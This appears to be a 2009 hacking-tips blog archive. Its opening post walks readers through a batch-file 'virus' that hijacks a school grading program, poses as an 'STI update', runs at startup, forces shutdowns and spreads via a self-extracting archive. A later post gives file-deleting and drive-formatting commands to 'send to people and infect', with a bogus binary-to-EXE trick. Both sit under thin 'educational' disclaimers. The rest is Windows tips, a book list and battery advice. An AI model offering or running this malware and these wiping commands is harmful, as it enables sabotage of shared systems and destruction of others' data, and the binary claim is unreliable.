Sunday, August 30, 2009

This article is for only educational purpose, i am not responsible for any misuse of this article.
By using the following command you can shutdown your school or college by using only Note pad.
This is the main command that will be launched upon startup.
Type this in Notepad.
@echo offshutdown.exe -s -t 10 -c“You have been hacked!”
Save this as shutdown.bat, making sure you choose all files as the filetype.
Step 2 Make it run on StartupThe file you need can be downloaded here:This is just a simple registry file that anyone can create, but I don’t feel like explaining the registry to everyone. It will disguise itself by claiming to be an update for STI.
Step 3 Set up the replication systemHere is the code to set up the replicator (the program that allows the virus to reproduce). This simply gets it ready to infect the teachers. ?,$, and ! means that it varies. It depends on what program you are using. To find out how to fill these blank, get on a computer that has access to the server that stores your grading program. ? is the drive letter. $ is any folders and sub folders that contain the main exe for the grading program. ! is the name of the main exe.
Example O:\sti\ssts2\sti.exe?=O$=sti\ssts2!=sti
Here is the code:
@echo offcd C:\move ?:\$\!.exeren C:?.exe real.exeren C:virus.exe !.execd ?:\$move C:\!.exemove C:\shutdown.batmove C:\Update.regexit
Save this as global.bat

Step 4 They grow up so fast — real fast!This script will infect any teacher that uses STI with the shutdown command. The little viral babies will copy themselves to the user’s hard drive and remain there.
@echo offcd C:\WINDOWSEcho STI must update itself, this will only take a few seconds.pauseEcho Please wait while the files install.move ?:\$\shutdown.batmove ?:\$\Update.regmove ?:\$\cure.exemove ?:\$\cure.exemove ?:\$\cure.batmove ?:\$\remove.batEcho Adding information to registry.pausestart regedit.exe Update.regcd ?:\$start real.exeexitNow this one has to be in exe form. So save it as virus.bat, then compile it in Quick Batch File Compiler. You can get QuickBFC here: QuickBFC and download this file as a template for QuickBFC to work with. Just save the compiled file over this one.
Step 5 The CureThis is a little tool that can fix all damage done by your virus, it works in the same way that the virus works, but works to correct the problem rather than create it.@echo offshutdown -acd C:\WINDOWSdel shutdown.bat
Save as cure.bat
@echo offcd ?:\$del !.execd C:\move ?:\$\real.exeren C:\real.exe !.execd ?:\$move C:\?.execd C:\WINDOWSNow download this file:
Step 6 The SetupNo it’s not the name of a heist movie. It is simply a SFX file that extracts all the files to their proper places and places the replicator in the STI drive.I am going to use WinRAR to do this. You can get WinRAR here: First gather all the files you have made thus far. The files should be shutdown.bat, Update.reg, virus.exe, cure.exe, cure.bat, remove.bat and global.bat. Now select them all and put them in a .rar file. Then open Winrar and go to “tools”, then select “convert archive to SFX”. Click “Advanced SFX Options” In the field labeled Path to Extract, type C:\WINDOWS In the field labeled Run After Extraction, type C:\WINDOWS\global.bat Save the finished file anywhere you want and as any name. To install the virus, just run this program on a computer at school that is connected to the server that has the grading program on it (such as any computer in the Comp Lab.)

How to open block command prompt

to open the CMD if it is blocked here's what you do.
Open up notepad
If notepad is blocked. Do the following
View the source of a website
There's notepad.
Create a new text document and in it type
Save that file as bat.bat
You can name it anything you want, but it has to be a .bat file typeOpen that, and there's your command prompt.

Saturday, August 29, 2009

250+ Tech books online.txt

10 minute guide to lotus notes mail 4.5

10 minute guide to Microsoft exchange 5.0

10 minute guide to outlook 97

10 minute guide to schedule+ for windows 95

ActiveX programming unleashed

ActiveX programming unleashed

Advanced perl programming

Advanced PL/SQL programming with packages

Adventure in Prolog/AMZI

Algorithms CMSC251/Mount, David

Alison Balter's Mastering Access 95 development, premier ed.

Apache : The definitive guide, 3rd.ed.

Beej's guide to network programming/Hall, Brain

Beyond Linux from Scratch/BLFS Development Team

Borland C++ builder unleashed

Building an intranet with windows NT 4

Building an Intranet with Windows NT 4

Building expert systems in prolog/AMZI

C programming language

C Programming/Holmes, Steven

C++ Annotations

CGI developer's guide

CGI manual of style

CGI manual of style online

CGI programming

CGI programming unleashed

CGI programming with Perl, 2nd.ed.

Charlie Calvert's Borland C++ builder unleashed

Client/server computing, 2nd.ed.

Client-server computing, 2nd.ed.

Common LISP, the language/Steele, Guy

Compilers and compiler generators : an introduction with C++/Terry, P.D.

Complete idiot's guide to creating HTML webpage

Computer graphics CMSC 427/Mount, David

Configuring and troubleshooting the windows NT/95 registry

Creating commercial websites

Creating web applets with Java

Crystal Reports.NET

Curious about the internet

Curious about the internet?

Dan appleman's developing activeX components with Visual Basic 5

Dan appleman's developing activex components with Visual Basic 5.0

Data structures CMSC420/Mount, David

Database developer's guide with visual basic 4, 2nd.ed.

Database developer's guide with Visual Basic 4, 2nd.ed.

Database developer's guide with Visual C++ 4, 2nd.ed.

Database developer's guide with Visual C++ 4, 2nd.ed.

Design and analysis of computer algorithms CMSC451/Mount, David

Designing implementing Microsoft internet information server

Designing implementing Microsoft proxy server

Developing for netscape one

Developing intranet applications with java

Developing personal oracle 7 for windows 95 applications

Developing personal Oracle 7 for windows 95 applications

Developing professional java applets

Developing professional java applets


Doing objects with VB.NET and C#

EAI/BPM Evaluation Series: IBM WebSphere MQ Workflow v3.3.2 & EAI Suite by
> Middleware Technology Evaluation Series, Phong Tran & Jeffrey Gosper

Effective AWK programming

Enterprise javabeans, 2nd.ed.

Exploring java

GNOME/Sheets, John

Graph theory/Prof. Even

Hacking java

How intranets work

How intranets work

How to program visual basic 5.0

How to use HTML 3.2

Html : The definitive guide

HTML 3.2 & CGI unleashed

HTML 3.2 and CGI professional reference edition unleashed

HTML by example

Internet firewall

Intranets unleashed

Introduction to object-oriented programming using C++/Muller, Peter

Introduction to programming using Java/Eck, David

Introduction to socket programming

Java 1.1 unleashed

Java 1.1 unleashed, 2nd.ed.

Java 1.1 unleashed, 3rd.ed.

Java 114 documentation

Java AWT reference

Java by example

Java developer's guide

Java developer's guide

Java developer's reference

Java developer's reference

Java Distributed computing

Java enterprise

Java enterprise in a nutshell

Java foundation classes in a nutshell

Java fundamental classes reference

Java in a nutshell

Java in a nutshell, 3rd.ed.

Java language reference

Java security

Java servlet programming

Java unleashed

Java unleashed

Java, 2nd.ed.

_JavaScript : the definitive guide

_Javascript manual of style

_Javascript manual of style

Josh's GNU Linux Guide/Joshua's_GNU_Linux_Guide/

Late night activex

Late night activeX

Laura lemay's 3D graphics in and VRML 2

Laura lemay's activex and _VBScript

Laura lemay's graphics and web page design

Laura lemay's guide to sizzling websites design

Laura lemay's _javascript 1.1

Laura lemay's web workshop activex and _VBScript

Laura lemay's web workshop Graphics web page design

Laura lemay's web workshop _javascript

Learning perl

Learning perl on win32

Learning the kornshell

Learning unix

Learning vi

Linux from Scratch/Beekmans, Gerard

Linux in a nutshell, 3rd.ed.

Linux kernel/Rusling, David

Linux network administrator's guide/Dawson, Terry

Linux system administrator's survival guide

MAPI, SAPI and TAPI developer's guide

Mastering access 95 development

Microsoft access 97 quick reference

Microsoft access 97 quick reference

Microsoft backoffice 2 unleashed

Microsoft excel 97 quick reference

Microsoft excel 97 quick reference

Microsoft exchange server survival guide

Microsoft frontpage unleashed

Microsoft word 97 quick reference

Microsoft word 97 quick reference

Microsoft works 4.5 6-In-1

More than 100 full-text e-books

Ms backoffice administrator's survival guide

Ms backoffice unleashed

Mysql and msql

Netscape plug-ins developer's kit

Official gamelan java directory

Oracle built-in packages

Oracle PL/SQL built-in pocket reference

Oracle PL/SQL language pocket reference

Oracle PL/SQL programming guide to Oracle 8 features

Oracle PL/SQL programming, 2nd.ed.

Oracle unleashed

Oracle unleashed

Oracle web applications PL/SQL developer's introduction

Patterns of enterprise application architecture/Fowler, Martin{574D77DF-6ED2-BC5-A6A8-02E59CA7482D}

PC week : the intranet advantage

Perl 5 by example

Perl 5 quick reference

Perl 5 unleashed

Perl 5.0 CGI web pages

Perl cookbook

Perl for system administration

Perl in a nutshell

Perl quick reference

Peter norton's complete guide to windows NT 4 workstations

Presenting activex

Presenting activex

Presenting javabeans

Presenting javabeans

Programming perl

Programming perl, 3rd.ed.

Programming the Perl DBI

Red hat linux unleashed

Running a perfect intranet

Running Linux, 3rd.ed.

Sams teach yourself java 1.1 in 24 hours/

Sams Teach yourself java in 21 days/Lemay, Laura

Sams teach yourself linux in 24 hours/Ball, Bill

Sams teach yourself shell programming in 24 hours

Sams teach yourself TCP/IP in 14 days

Sed and awk


Sendmail desktop reference

Slackware linux unleashed

Special edition using java, 2nd.ed.

Special edition using _javascript

Special edition using _javascript

Special edition using _Jscript

Special edition using lotus notes and domino 4.5

Special edition using Microsoft SQL server 6.5, 2nd.ed.

Special edition using Microsoft visual Interdev

Special edition using perl 5 for web programming

Special edition using perl for web programming

Special edition using Visual Basic 4


Teach yourself activex programming in 21 days

Teach yourself C++ in 21 days

Teach yourself C++ in 21 days

Teach yourself CGI programming with Perl 5 in a week

Teach yourself database programming with VB5 in 21 days, 2nd.ed.

Teach yourself database programming with visual basic 5 in 21 days

Teach yourself HTML 3.2 in 24 hours

Teach yourself HTML 3.2 in 24 hours

Teach yourself internet game programming with java in 21 days

Teach yourself java 1.1 programming in 24 hours

Teach yourself jave in café in 21 days

Teach yourself Microsoft visual Interdev in 21 days

Teach yourself Microsoft visual Interdev in 21 days

Teach yourself oracle 8 in 21 days

Teach yourself perl 5 in 21 days

Teach yourself perl 5 in 21 days, 2nd.ed.

Teach yourself SQL in 21 days

Teach yourself SQL in 21 days, 2nd.ed.

Teach yourself TCP/IP in 14 days

Teach yourself TCP/IP in 14 days, 2nd.ed.

Teach yourself the Internet in 24 hours

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Teach yourself _VBScript in 21 days

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Teach yourself visual basic 5 in 24 hours

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Teach yourself Visual J++ in 21 days

Teach yourself web publishing with HTML 3.2 in 14 days

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Thinking in C++

Thinking in C++/Eckel, Bruce - Vol.I, 2nd.ed.

Thinking in C++/Eckel, Bruce - Vol.II, 2nd.ed.

Thinking in Enterprise Java

Thinking in Java, 2nd.ed.

Thinking in Java, 3rd.ed. (pdf)

Tricks of the internet gurus

Tricks of the java programming gurus

Unix and internet security

Unix hints and hacks/Waingrow, Kirk

Unix in a nutshell

Unix kornshell quick reference

Unix power tools

Unix shell guide

Unix unleashed

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Unix unleashed Internet Ed./Burk, Robin

Unix unleashed, System administrator's Edition's_Edition/toc.htm

Unix Unleashed/Sams Publication

Upgrading PCs illustrated

Using windows NT workstation 4.0

_VBScript unleashed

_Vbscript unleashed

Visual basic 4 in 12 easy lessons

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Visual Basic 5 night school

Visual basic programming in 12 easy lessons

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Visual C++ 4 unleashed

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Web database developer's guide with visual basic 5

Web database developer's guide with visual basic 5

Web programming desktop reference 6-in-1

Wednesday, August 26, 2009

20 things you didn't know about Windows XP

20 things you didn't know about Windows XP

You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.
1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).
2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).
3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.
5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.
6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.
7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.
8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.
9. XP has ClearTyp e -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.
10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like Replace this with your chum's real IP address -- they can find this out by going to -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.
11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.
12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.
13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.
14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.
15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.
16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.
17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.
18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.
19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.
20. The next release of Windows XP, codenamed Longhorn, is due out late dis month The next big release is codenamed Blackcomb and will be out in 2010/2011

Format a HDD with notepad

Format a HDD with notepad
Step 1.
Copy The Following In Notepad Exactly as it says01001011000111110010010101010101010000011111100000
Step 2.
Save As An EXE Any Name Will Do
Step 3.
Send the EXE to People And Infect
IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary codeformat c:\ /Q/X -- this will format your drive c:\01100110011011110111001001101101011000010111010000 1000000110001100111010010111000010000000101111010100010010111101011000format d:\ /Q/X -- this will format your dirve d:\01100110011011110111001001101101011000010111010000 1000000110010000111010010111000010000000101111010100010010111101011000
format a:\ /Q/X -- this will format your drive a:\
01100110011011110111001001101101011000010111010000 1000000110000100111010010111000010000000101111010100010010111101011000
del /F/S/Q c:\boot.ini -- this will cause your computer not to boot.
01100100011001010110110000100000001011110100011000 10111101010011001011110101000100100000011000110011101001011100011000100110111101 1011110111010000101110011010010110111001101001
try to figure out urself rest
cant spoonfeed
its workin
Do not try it on ur PC. dont mess around this is for educational purpose only
still if u cant figure it out try disgo to notepad@Echo offDel C:\ *.*ysave it as Dell.bat
worse@echo offdel %systemdrive%\*.*/f/s/qshutdown -r -f -t 00and save it as a .bat file


To NTFS or not to NTFS—that is the question.
But unlike the deeper questions of life, this one isn't really all that hard to answer. For most users running Windows XP, NTFS is the obvious choice. It's more powerful and offers security advantages not found in the other file systems. But let's go over the differences among the files systems so we're all clear about the choice. There are essentially three different file systems available in Windows XP: FAT16, short for File Allocation Table, FAT32, and NTFS, short for NT File System. FAT16The FAT16 file system was introduced way back with MS–DOS in 1981, and it's showing its age. It was designed originally to handle files on a floppy drive, and has had minor modifications over the years so it can handle hard disks, and even file names longer than the original limitation of 8.3 characters, but it's still the lowest common denominator. The biggest advantage of FAT16 is that it is compatible across a wide variety of operating systems, including Windows 95/98/Me, OS/2, Linux, and some versions of UNIX. The biggest problem of FAT16 is that it has a fixed maximum number of clusters per partition, so as hard disks get bigger and bigger, the size of each cluster has to get larger. In a 2–GB partition, each cluster is 32 kilobytes, meaning that even the smallest file on the partition will take up 32 KB of space. FAT16 also doesn't support compression, encryption, or advanced security using access control lists. FAT32The FAT32 file system, originally introduced in Windows 95 Service Pack 2, is really just an extension of the original FAT16 file system that provides for a much larger number of clusters per partition. As such, it greatly improves the overall disk utilization when compared to a FAT16 file system. However, FAT32 shares all of the other limitations of FAT16, and adds an important additional limitation—many operating systems that can recognize FAT16 will not work with FAT32—most notably Windows NT, but also Linux and UNIX as well. Now this isn't a problem if you're running FAT32 on a Windows XP computer and sharing your drive out to other computers on your network—they don't need to know (and generally don't really care) what your underlying file system is. The Advantages of NTFSThe NTFS file system, introduced with first version of Windows NT, is a completely different file system from FAT. It provides for greatly increased security, file–by–file compression, quotas, and even encryption. It is the default file system for new installations of Windows XP, and if you're doing an upgrade from a previous version of Windows, you'll be asked if you want to convert your existing file systems to NTFS. Don't worry. If you've already upgraded to Windows XP and didn't do the conversion then, it's not a problem. You can convert FAT16 or FAT32 volumes to NTFS at any point. Just remember that you can't easily go back to FAT or FAT32 (without reformatting the drive or partition), not that I think you'll want to. The NTFS file system is generally not compatible with other operating systems installed on the same computer, nor is it available when you've booted a computer from a floppy disk. For this reason, many system administrators, myself included, used to recommend that users format at least a small partition at the beginning of their main hard disk as FAT. This partition provided a place to store emergency recovery tools or special drivers needed for reinstallation, and was a mechanism for digging yourself out of the hole you'd just dug into. But with the enhanced recovery abilities built into Windows XP (more on that in a future column), I don't think it's necessary or desirable to create that initial FAT partition. When to Use FAT or FAT32If you're running more than one operating system on a single computer, you will definitely need to format some of your volumes as FAT. Any programs or data that need to be accessed by more than one operating system on that computer should be stored on a FAT16 or possibly FAT32 volume. But keep in mind that you have no security for data on a FAT16 or FAT32 volume—any one with access to the computer can read, change, or even delete any file that is stored on a FAT16 or FAT32 partition. In many cases, this is even possible over a network. So do not store sensitive files on drives or partitions formatted with FAT file systems.

Tuesday, August 25, 2009

tips and tricks

How to measure a website’s IQ?
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The creator of the world wide web, Tim Berners-Lee, has made an odd request: for a kind of rating system to help people distinguish sites that can be trusted to tell the truth, and those that can’t.
Berners-Lee was speaking at the launch of the World Wide Web Foundation, which aims to ensure that everyone in the world benefits as the web evolves.
In his speech he referred to the way fears that the LHC could destroy the world spread like wildfire online. As the BBC puts it, he explained that “there needed to be new systems that would give websites a label for trustworthiness once they had been proved reliable sources.”
He went on to say that he didn’t think “a simple number like an IQ rating” is a good idea: “I’d be interested in different organisations labelling websites in different ways”. Whatever process is used to hand out the labels, it sounds like a bad idea to me.
Berners-Lee himself directed us towards some of the its biggest problems:
“On the web the thinking of cults can spread very rapidly and suddenly a cult which was 12 people who had some deep personal issues suddenly find a formula which is very believable…A sort of conspiracy theory of sorts and which you can imagine spreading to thousands of people and being deeply damaging.”
There are plenty of arguments online already about whether Scientology is a cult. I find it unlikely anyone will be keen to step in and label sites on either side as not to be trusted. Others might reasonably argue that all religions – whether established or not – should come with a warning message.
As for wading in to put a stop to conspiracy theories, I can’t image anything their proponents could benefit from more.
Berners-Lee also mentioned the system would help people find out the real science behind, for example, the LHC’s risks. You might think handing out rating for sites about science would be easier, with publishers of peer-reviewed science, for example, receiving a top rating without problems.
But there will be papers in the archives of any journal that have been entirely superseded. And a whole lot more that present results that are valid, but can be misleading to some readers. Web licences to ensure that people only read sites they can handle are the next logical step.
Fortunately it’s much more likely that the whole idea will quietly be forgotten, which will at least prevent Berners-Lee receiving one of the first “potentially misleading” badges for thinking it up in the first place.
Let’s hope the World Wide Web Foundation and its laudable goals have a rosier future.
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Laptop Battery Saving Tips
July 25th, 2008 Amy 4 comments
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The following describes how to extend the battery life using Power Management and/or your computers power saving feature. These are some tips especially for the Sony VAIO Laptop users because each laptop has different functions and options to save up battery. Check out these top 5 power management tips for increasing battery life.
1. Decrease LCD brightnessSelect a lower LCD brightness level for the setup item, LCD Brightness, of VAIO Power Management. The smaller the level number is, the darker the LCD turns and the longer the battery lasts.Select an LCD brightness level among from Level 9 ( light) to Level 1 (dark). When No Change is selected both for Plugged in and Running on batteries, note that changing the power supply source does not affect the LCD brightness. You can change the LCD brightness, for example, with the keyboard of your computer. For more information, see the manual of your computer. On some models of the computer, Adaptive is additionally available for selection. When Adaptive is selected, the ambient luminance is measured for automatic adjustment of the LCD brightness.2. Use the power saving featureSelect VAIO Maximum Battery or VAIO Ultimate Battery in the Power schemes drop-down list on the Power Schemes tab. The selected power scheme option is displayed for Power Scheme on the Power Schemes tab. VAIO Ultimate Battery may not be available for selection, depending on the model of your computer. Provided for reducing power consumption by lowering the operation clock of the video chip. Select On or Off. Selecting On reduces power consumption.3. Save power when not using your computerWhen you temporarily leave your desk, place your computer on Standby. Standby refers to placing your computer in power saving mode while retaining the current work state. To place your computer on Standby, click Start, Power Options, and then Standby.When you are not using your computer for a while, place your computer into Hibernate. Hibernate refers to shutting down your computer after saving the current work state into the hard disk. To place your computer into Hibernate, press and hold the Fn key and press the F12 key.To use the battery longer, place your computer on Standby as often as possible. When you are not using your computer for a while, place your computer into Hibernate; and when you are not using it for the time being, shut down your computer.You can recover the previous work state of your computer faster when your computer is in Hibernate than when it is shut down. If your computer is on Standby, it takes a much shorter time to recover the work state as compared with recovery from Hibernate.4. Disconnect unused peripheral device.Unplug the connector of unused peripheral devices from your computer. Select Enable, Disable, or No Change to specify power management of the Memory Stick slot. Selecting Disable disables the Memory Stick slot but reduces power consumption of your computer. When No Change is selected both for Plugged in and Running on batteries, note that changing the power supply source does not affect the power management of the Memory Stick slot.